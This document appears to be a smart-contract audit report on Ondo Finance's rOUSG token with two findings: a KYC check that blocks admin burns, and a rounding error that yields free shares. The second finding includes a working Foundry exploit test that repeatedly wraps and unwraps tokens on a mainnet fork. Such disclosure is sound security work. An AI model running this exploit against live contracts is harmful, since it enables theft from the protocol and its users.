Ondo Finance - ast3ros's results

Lines of code

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L618-L640

Vulnerability details

Impact

The functionality intended to allow administrators to burn rOUSG tokens from any account fails when the account in question is either not KYC compliant or is on a sanctions list. This limitation undermines the admin's ability to manage tokens in a way that may be necessary for regulatory compliance, token supply adjustment, or other critical administrative functions.

Proof of Concept

In rOUSG contract, the burn function allows admin to burn tokens from any specified account.

  /**
   * @notice Admin burn function to burn rOUSG tokens from any account
   * @param _account The account to burn tokens from
   * @param _amount  The amount of rOUSG tokens to burn
   * @dev Transfers burned shares (OUSG) to `msg.sender`
   */
  function burn(
    address _account,
    uint256 _amount
  ) external onlyRole(BURNER_ROLE) {
    uint256 ousgSharesAmount = getSharesByROUSG(_amount);
    if (ousgSharesAmount < OUSG_TO_ROUSG_SHARES_MULTIPLIER)
      revert UnwrapTooSmall();

    _burnShares(_account, ousgSharesAmount);

    ousg.transfer(
      msg.sender,
      ousgSharesAmount / OUSG_TO_ROUSG_SHARES_MULTIPLIER
    );
    emit Transfer(address(0), msg.sender, getROUSGByShares(ousgSharesAmount));
    emit TransferShares(_account, address(0), ousgSharesAmount);
  }

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L618-L640

When the _burnShares function is called, it has a _beforeTokenTransfer hook that checks if the from address (the account which token is burnt) is KYCed or in sanction list. If the account is not KYCed and in sanction list, then the call would revert.

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256
  ) internal view {
    // Check constraints when `transferFrom` is called to facliitate
    // a transfer between two parties that are not `from` or `to`.
    if (from != msg.sender && to != msg.sender) {
      require(_getKYCStatus(msg.sender), "rOUSG: 'sender' address not KYC'd");
    }

    if (from != address(0)) {
      // If not minting
      require(_getKYCStatus(from), "rOUSG: 'from' address not KYC'd");
    }

    if (to != address(0)) {
      // If not burning
      require(_getKYCStatus(to), "rOUSG: 'to' address not KYC'd");
    }
  }

This setup inadvertently restricts the admin's ability to burn tokens, meaning break the functionality of the burn function

Tools Used

Manual

Recommended Mitigation Steps

In case of burning from admin, allow to burn without checking the KYC status of the account.

  function _beforeTokenTransfer(
    address from,
    address to,
    uint256
  ) internal view {
+  bool isBurningByAdmin = (to == address(0) && hasRole(BURNER_ROLE, msg.sender));
+  if (!isBurningByAdmin) {
        if (from != msg.sender && to != msg.sender) {
        require(_getKYCStatus(msg.sender), "rOUSG: 'sender' address not KYC'd");
        }

        if (from != address(0)) {
        // If not minting
        require(_getKYCStatus(from), "rOUSG: 'from' address not KYC'd");
        }

        if (to != address(0)) {
        // If not burning
        require(_getKYCStatus(to), "rOUSG: 'to' address not KYC'd");
        }
      }
  }

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L424-L443 https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L360-L368

Vulnerability details

Impact

Users receive free shares when wrap and unwrap, users can repeatly do it to earn free shares. This can accummulated for many users lead to overstate of rOUSG supply

Proof of Concept

When unwrapping rOUSG tokens to OUSG tokens, the amount of burnt shares from the users are calculated by getSharesByROUSG function.

  /**
   * @notice Function called by users to unwrap their rOUSG tokens
   *
   * @param _rOUSGAmount The amount of rOUSG to unwrap
   *
   * @dev KYC checks implicit in OUSG Transfer
   */
  function unwrap(uint256 _rOUSGAmount) external whenNotPaused {
    require(_rOUSGAmount > 0, "rOUSG: can't unwrap zero rOUSG tokens");
    uint256 ousgSharesAmount = getSharesByROUSG(_rOUSGAmount);
    if (ousgSharesAmount < OUSG_TO_ROUSG_SHARES_MULTIPLIER)
      revert UnwrapTooSmall();
    _burnShares(msg.sender, ousgSharesAmount);
    ousg.transfer(
      msg.sender,
      ousgSharesAmount / OUSG_TO_ROUSG_SHARES_MULTIPLIER
    );
    emit Transfer(msg.sender, address(0), _rOUSGAmount);
    emit TransferShares(msg.sender, address(0), ousgSharesAmount);
  }

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L424-L443

In function getSharesByROUSG, the shares are calculated by _rOUSGAmount/OUSG price. However the function is rounded down. It means that the burned shares are less than the shares that users received when minting the same ROUSG amount.

  /**
   * @return the amount of shares that corresponds to `_rOUSGAmount` of rOUSG
   */
  function getSharesByROUSG(
    uint256 _rOUSGAmount
  ) public view returns (uint256) {
    return
      (_rOUSGAmount * 1e18 * OUSG_TO_ROUSG_SHARES_MULTIPLIER) / getOUSGPrice();
  }

https://github.com/code-423n4/2024-03-ondo-finance/blob/4791cd1946f834f27addbc162c1817e897de7bf9/contracts/ousg/rOUSG.sol#L360-L368

Users can call wrap and unwrap repeatedly, due to the rouding down issue, he receives free shares.

In this scenario:

• Price OUSG: 105555920000000000000.
• User mint OUSG and
• Wrap 10003 and unwrap all rOUSG received 1055875.
• Repeat for 1000 times
• Receive 830000 rOUSG for free.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;
import {Test, console} from "forge-std/Test.sol";
import "../contracts/ousg/ousg.sol";
import "../contracts/ousg/rOUSGFactory.sol";
import "../contracts/kyc/KYCRegistry.sol";
import "./helpers/DeltaCheckHarness.sol";
import "../contracts/PricerWithOracle.sol";
import "../contracts/external/openzeppelin/contracts/token/IERC20.sol";
import "../contracts/ousg/ousgInstantManager.sol";
import "./helpers/MockBUIDLRedeemer.sol";
import "../contracts/interfaces/IRWALike.sol";
import "../contracts/external/openzeppelin/contracts-upgradeable/token/ERC20/ERC20PresetMinterPauserUpgradeable.sol";
import "forge-tests/ousg/OUSGInstantManager/buidl_helper.sol";

contract OUGSTest is Test, BUIDLHelper {

    address constant OUSG_GUARDIAN = 0xAEd4caF2E535D964165B4392342F71bac77e8367;
    address constant OUSG_ADDRESS = 0x1B19C19393e2d034D8Ff31ff34c81252FcBbee92;
    address PROD_REGISTRY = 0x7cE91291846502D50D635163135B2d40a602dc70;
    address BUILD_REDEEMER = 0x31D3F59Ad4aAC0eeE2247c65EBE8Bf6E9E470a53;
    IERC20 public USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 constant BUIDL = IERC20(0x7712c34205737192402172409a8F7ccef8aA2AEc);
    address oracle = 0x0502c5ae08E7CD64fe1AEDA7D6e229413eCC6abe;
    address constant instantMintAssetManager = address(0xBAEBAE);
    address constant feeRecipient = address(0x123456);
    uint256 constant OUSG_KYC_REQUIREMENT_GROUP = 1;

    address constant guardian = address(0xFEDBAD);
    address constant pauser = address(0xFFFFFFF);
    address constant alice = address(0x9999991);
    address constant bob = address(0x9999992);
    address constant charlie = address(0x9999993);
    address constant badActor = address(0xBADBAD);
    

    KYCRegistry registry;
    DeltaCheckHarness oracleCheckHarnessOUSG;
    PricerWithOracle pricerOusg;
    ROUSG rOUSGToken; // Proxy with abi of implementation
    TokenProxy rOUSGProxy;
    ProxyAdmin rOUSGProxyAdmin;
    ROUSG rOUSGImplementation;
    OUSGInstantManager ousgInstantManager;
    BUIDLRedeemerMock mockBUIDLRedeemer;
    IRWALike ousg;

    function setUp() public virtual {
        vm.createSelectFork(vm.rpcUrl("https://eth.llamarpc.com"));

        oracleCheckHarnessOUSG = new DeltaCheckHarness();
        oracleCheckHarnessOUSG.setPrice(100e18);
        pricerOusg = new PricerWithOracle(
          address(guardian), // Admin
          address(this), // Pricer
          address(oracleCheckHarnessOUSG)
        );
        oracleCheckHarnessOUSG.setOwner(address(pricerOusg));


        registry = KYCRegistry(PROD_REGISTRY);
        vm.prank(OUSG_GUARDIAN);
        registry.grantRole(bytes32(0), address(this));
        bytes32 groupRole = registry.kycGroupRoles(1);
        vm.prank(OUSG_GUARDIAN);
        registry.grantRole(groupRole, address(this));

        ROUSGFactory factory = new ROUSGFactory(OUSG_GUARDIAN);
        vm.startPrank(OUSG_GUARDIAN);
        (address proxy, address proxyAdmin, address implementation) = factory
          .deployRebasingOUSG(
            address(registry),
            OUSG_KYC_REQUIREMENT_GROUP,
            OUSG_ADDRESS,
            address(oracleCheckHarnessOUSG)
          );
        rOUSGToken = ROUSG(proxy);
        rOUSGProxy = TokenProxy(payable(proxy));
        rOUSGProxyAdmin = ProxyAdmin(proxyAdmin);
        rOUSGImplementation = ROUSG(implementation);
        rOUSGToken.grantRole(rOUSGToken.PAUSER_ROLE(), pauser);
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(address(rOUSGToken)));
        vm.stopPrank();

        mockBUIDLRedeemer = new BUIDLRedeemerMock(address(BUIDL));
        deal(address(USDC), address(mockBUIDLRedeemer), 250_000e6);

        IOUSGInstantManager.RateLimiterConfig memory rateLimiterConfig = IOUSGInstantManager
          .RateLimiterConfig(
            0, // _instantMintResetDuration
            0, // _instantRedemptionResetDuration
            100_000e6, // _instantMintLimit
            100_000e6 // _instantRedemptionLimit
          );
    
        ousgInstantManager = new OUSGInstantManager(
          OUSG_GUARDIAN, // defaultAdmin
          address(USDC), //  _usdc
          instantMintAssetManager, // _usdcReceiver
          feeRecipient, // _feeReceiver
          address(oracleCheckHarnessOUSG), //  _oracle
          OUSG_ADDRESS, //  _ousg
          address(rOUSGToken), // _rOUSG
          address(BUIDL), // _buidl
          // BUILD_REDEEMER,
          address(mockBUIDLRedeemer), // buidlRedeemer
          rateLimiterConfig
        );

        ousg = IRWALike(OUSG_ADDRESS);
    
        vm.startPrank(OUSG_GUARDIAN);
        CashKYCSenderReceiver ousgProxied = CashKYCSenderReceiver(address(ousg));
        ousgProxied.grantRole(
          ousgProxied.MINTER_ROLE(),
          address(ousgInstantManager)
        );
    
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(ousgInstantManager));
        // ousgInstantManager.setMintFee(100);
        // ousgInstantManager.setRedeemFee(100);
        ousgInstantManager.setMinimumDepositAmount(10000);
        vm.stopPrank();

        // Other setup
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, alice);
        _addAddressToKYC(OUSG_KYC_REQUIREMENT_GROUP, address(mockBUIDLRedeemer));
        _whitelistBUIDLWallet(address(ousgInstantManager));
        _whitelistBUIDLWallet(address(mockBUIDLRedeemer));

    }

    function testExploit() public {
      deal(address(USDC), alice, 150_000e6);
      deal(address(USDC), address(ousgInstantManager), 250_000e6);
      deal(address(BUIDL), address(ousgInstantManager), 250_000e6);
      oracleCheckHarnessOUSG.setPrice(105555920000000000000);
      // Alice mint OUSG
      vm.startPrank(alice);
      USDC.approve(address(ousgInstantManager), 150_000e6);
      ousgInstantManager.mint(100_000e6);
      ousg.approve(address(rOUSGToken), type(uint256).max);
      for (uint256 i = 0; i < 10000; i++) {
         // Wrap 10003 OUSG and receives 1055875 rOUSG. Unwrap all amounts
        rOUSGToken.wrap(10003);
        rOUSGToken.unwrap(1055875); // 10003 * 1e3 * 105555920000000000000 / (1e18 * OUSG_TO_ROUSG_SHARES_MULTIPLIER)
        console.log("Balance of free share after wrap unwrap: ", rOUSGToken.sharesOf(alice));
      }
      console.log("Balance free share: ", rOUSGToken.sharesOf(alice)); // 830000
    }
}

Tools Used

Manual

Recommended Mitigation Steps

Using the same approach as ERC4626, allow redeem in shares and rounding up when convert rOUSG to shares for redeeming.

Assessed type

Math